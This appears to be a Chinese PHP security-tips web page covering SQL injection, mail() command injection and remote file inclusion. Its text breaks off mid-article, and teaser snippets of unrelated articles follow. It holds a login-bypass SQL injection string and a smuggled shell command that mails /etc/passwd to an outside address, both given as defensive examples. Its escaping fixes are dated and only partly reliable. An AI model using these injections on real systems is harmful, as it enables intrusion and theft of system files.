PHP网站开发过程中注意这些安全知识
1、古老的欺骗SQL语句
在默认模式下，即使是你忘了把php.ini拷到/usr/local/lib/php.ini下，php还是打开magic_quotes_gpc=on。
这样所有从GET/POST/Cookie来的变量的单引号(')、双引号(")、反斜杠backslash(\)以及空字元NUL
(the null byte)都会被加上反斜杠，以使数据库能够正确查询。
但是在php-4-RC2的时候引入了一个配置文件php.ini-optimized，这个优化的php.ini却是
magic_quotes_gpc=off的。某些网管看到optimized字样也许就会把php.ini-optimized拷到
/usr/local/lib/php.ini，这时就比较危险。象比较简单的验证，假设没有过滤必要的字符：
select * from login where user='$HTTP_POST_VARS[user]' and pass='$HTTP_POST_VARS[pass]'
我们就可以在用户框和密码框输入1‘ or 1='1通过验证了。这是非常古董的方法了，这个语句会
替换成这样：
select * from login where user='1' or 1='1' and pass='1' or 1='1'
因为or 1='1'成立，所以通过了。
解决的办法最好就是过滤所有不必要的字符，还有就是推荐对于从GET/POST/Cookie来的并且用在SQL
中的变量加一个自定义的函数：
function gpc2sql($str) {
if(get_magic_quotes_gpc()==1)
return $str;
else
return addslashes($str);
}
主要是为了你的程序能安全移植在各种系统里。
2、mail函数的第五个参数
在php-4.0.5的时候，mail函数引入了第五个参数，用来设置在实际发送邮件的时候增加额外的命令行参数，但是没有很好的检查特殊SHELL命令字符，所以出现执行命令的大问题。就像手册里的例子：
mail("nobody@aol.com", "the subject", $message, "from: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAM");
这个是存在问题的，如果$SERVER_NAME=;mail webjx@webjx.com < /etc/passwd就能把机器的密码发送到我的信箱了。
这里提醒一下，php手册里还有好几个例子存在安全问题的，大家实际使用的时候不要照搬，它只是演示函数的基本功能，理解了就可以了。
对于mail函数的这个问题，最简单的我们就不用这个第五个参数，要使用就过滤非法的字符如(;)，还有就是修改php源码包的程序ext/standard/mail.c，在if (extra_cmd != NULL) { 前增加如下一行：
extra_cmd=NULL
然后重新编译。
3、UNIX版的require, include函数
win版本的require和include函数是不支持HTTP和FTP远程文件包含的，而UNIX版本默认都是支持
相关文档：
钟胜辉谈PHP发展的现状和前景
diggsoft.com 时间:2009-09-19 12:56来源:51CTO
钟胜辉（淡淡风） PHPCMS创始人 原Ku6 Phpcms事业部经理 51CTO记者：从Web开发的历史看来，PHP、Python和Ruby几乎是同时出现的，都是十分有特点的、优秀的开源语言，但PHP却获得了比Python和Ruby多得多的
钟胜辉（ ......
1. 介绍
1.1. 标准化的重要**
标准化问题在某些方面上让每个人头痛，让人人都觉得大家处于同样的境地。这有助于让这些建议在许多的项目中不断演进，许多公司花费了许多星期逐子字逐句的进行争论。标准化不是特殊的个人风格，它对本地改良是完全开放的。
1.2. 优点
当一个项目尝试着遵守公用的标准时，会有以下好处� ......
<?
//http://www.jb51.net
class upLoad{
public $length; //限定文件大小
public $file; //判断此类是用于图片上传还是文件上传
public $fileName; //文件名
public $fileTemp; //上传临时文件
public $fileSize; //上传文件大小
public $error; //上传文件是否有错,php4没有
public $fileType; //上 ......
1.如果一个方法可静态化，就对它做静态声明。速率可提升至4倍。
2.echo 比 print 快。
3.使用echo的多重参数（译注：指用逗号而不是句点）代替字符串连接。
4.在执行for循环之前确定最大循环数，不要每循环一次都计算最大值。
5.注销那些不用的变量尤其是大数组，以便释放内存。
6.尽量避免使用__get，__set，__autolo ......
作者 陈浩 （Haohappy）
MSN: haohappy # php.net
2009-08-13
本文刊于《程序员》杂志 2009.09
转载请注明作者及出处
毫无疑问，如今PHP已经成为WEB开方当中最热门的技术之一。根据nexen.net的调查，互联网上三分之一的网站选择PHP来开发服务器端程序。在欧美和日本等国家，PHP开发市场呈现出一片欣� ......
